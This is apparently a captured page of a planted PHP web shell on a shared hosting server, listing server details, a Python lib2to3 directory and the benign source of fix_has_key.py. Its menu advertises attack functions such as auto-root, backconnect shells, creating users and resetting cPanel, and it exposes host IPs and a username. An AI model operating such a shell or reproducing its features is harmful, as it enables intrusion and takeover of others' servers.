Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 18.220.200.197
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
python35 /
lib64 /
python3.5 /
lib2to3 /
fixes /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
47
B
-rw-r--r--
fix_apply.py
2.37
KB
-rw-r--r--
fix_asserts.py
984
B
-rw-r--r--
fix_basestring.py
320
B
-rw-r--r--
fix_buffer.py
590
B
-rw-r--r--
fix_dict.py
3.72
KB
-rw-r--r--
fix_except.py
3.27
KB
-rw-r--r--
fix_exec.py
1001
B
-rw-r--r--
fix_execfile.py
1.94
KB
-rw-r--r--
fix_exitfunc.py
2.44
KB
-rw-r--r--
fix_filter.py
2.05
KB
-rw-r--r--
fix_funcattrs.py
644
B
-rw-r--r--
fix_future.py
547
B
-rw-r--r--
fix_getcwdu.py
451
B
-rw-r--r--
fix_has_key.py
3.15
KB
-rw-r--r--
fix_idioms.py
4.76
KB
-rw-r--r--
fix_import.py
3.18
KB
-rw-r--r--
fix_imports.py
5.55
KB
-rw-r--r--
fix_imports2.py
289
B
-rw-r--r--
fix_input.py
708
B
-rw-r--r--
fix_intern.py
1.21
KB
-rw-r--r--
fix_isinstance.py
1.57
KB
-rw-r--r--
fix_itertools.py
1.51
KB
-rw-r--r--
fix_itertools_imports.py
2.04
KB
-rw-r--r--
fix_long.py
476
B
-rw-r--r--
fix_map.py
2.99
KB
-rw-r--r--
fix_metaclass.py
8.01
KB
-rw-r--r--
fix_methodattrs.py
606
B
-rw-r--r--
fix_ne.py
571
B
-rw-r--r--
fix_next.py
3.1
KB
-rw-r--r--
fix_nonzero.py
597
B
-rw-r--r--
fix_numliterals.py
768
B
-rw-r--r--
fix_operator.py
3.39
KB
-rw-r--r--
fix_paren.py
1.2
KB
-rw-r--r--
fix_print.py
2.79
KB
-rw-r--r--
fix_raise.py
2.86
KB
-rw-r--r--
fix_raw_input.py
454
B
-rw-r--r--
fix_reduce.py
837
B
-rw-r--r--
fix_reload.py
1.13
KB
-rw-r--r--
fix_renames.py
2.17
KB
-rw-r--r--
fix_repr.py
613
B
-rw-r--r--
fix_set_literal.py
1.66
KB
-rw-r--r--
fix_standarderror.py
449
B
-rw-r--r--
fix_sys_exc.py
1.01
KB
-rw-r--r--
fix_throw.py
1.54
KB
-rw-r--r--
fix_tuple_params.py
5.43
KB
-rw-r--r--
fix_types.py
1.75
KB
-rw-r--r--
fix_unicode.py
1.23
KB
-rw-r--r--
fix_urllib.py
8.19
KB
-rw-r--r--
fix_ws_comma.py
1.06
KB
-rw-r--r--
fix_xrange.py
2.63
KB
-rw-r--r--
fix_xreadlines.py
689
B
-rw-r--r--
fix_zip.py
902
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fix_has_key.py
# Copyright 2006 Google, Inc. All Rights Reserved. # Licensed to PSF under a Contributor Agreement. """Fixer for has_key(). Calls to .has_key() methods are expressed in terms of the 'in' operator: d.has_key(k) -> k in d CAVEATS: 1) While the primary target of this fixer is dict.has_key(), the fixer will change any has_key() method call, regardless of its class. 2) Cases like this will not be converted: m = d.has_key if m(k): ... Only *calls* to has_key() are converted. While it is possible to convert the above to something like m = d.__contains__ if m(k): ... this is currently not done. """ # Local imports from .. import pytree from ..pgen2 import token from .. import fixer_base from ..fixer_util import Name, parenthesize class FixHasKey(fixer_base.BaseFix): BM_compatible = True PATTERN = """ anchor=power< before=any+ trailer< '.' 'has_key' > trailer< '(' ( not(arglist | argument<any '=' any>) arg=any | arglist<(not argument<any '=' any>) arg=any ','> ) ')' > after=any* > | negation=not_test< 'not' anchor=power< before=any+ trailer< '.' 'has_key' > trailer< '(' ( not(arglist | argument<any '=' any>) arg=any | arglist<(not argument<any '=' any>) arg=any ','> ) ')' > > > """ def transform(self, node, results): assert results syms = self.syms if (node.parent.type == syms.not_test and self.pattern.match(node.parent)): # Don't transform a node matching the first alternative of the # pattern when its parent matches the second alternative return None negation = results.get("negation") anchor = results["anchor"] prefix = node.prefix before = [n.clone() for n in results["before"]] arg = results["arg"].clone() after = results.get("after") if after: after = [n.clone() for n in after] if arg.type in (syms.comparison, syms.not_test, syms.and_test, syms.or_test, syms.test, syms.lambdef, syms.argument): arg = parenthesize(arg) if len(before) == 1: before = before[0] else: before = pytree.Node(syms.power, before) before.prefix = " " n_op = Name("in", prefix=" ") if negation: n_not = Name("not", prefix=" ") n_op = pytree.Node(syms.comp_op, (n_not, n_op)) new = pytree.Node(syms.comparison, (arg, n_op, before)) if after: new = parenthesize(new) new = pytree.Node(syms.power, (new,) + tuple(after)) if node.parent.type in (syms.comparison, syms.expr, syms.xor_expr, syms.and_expr, syms.shift_expr, syms.arith_expr, syms.term, syms.factor, syms.power): new = parenthesize(new) new.prefix = prefix return new
Close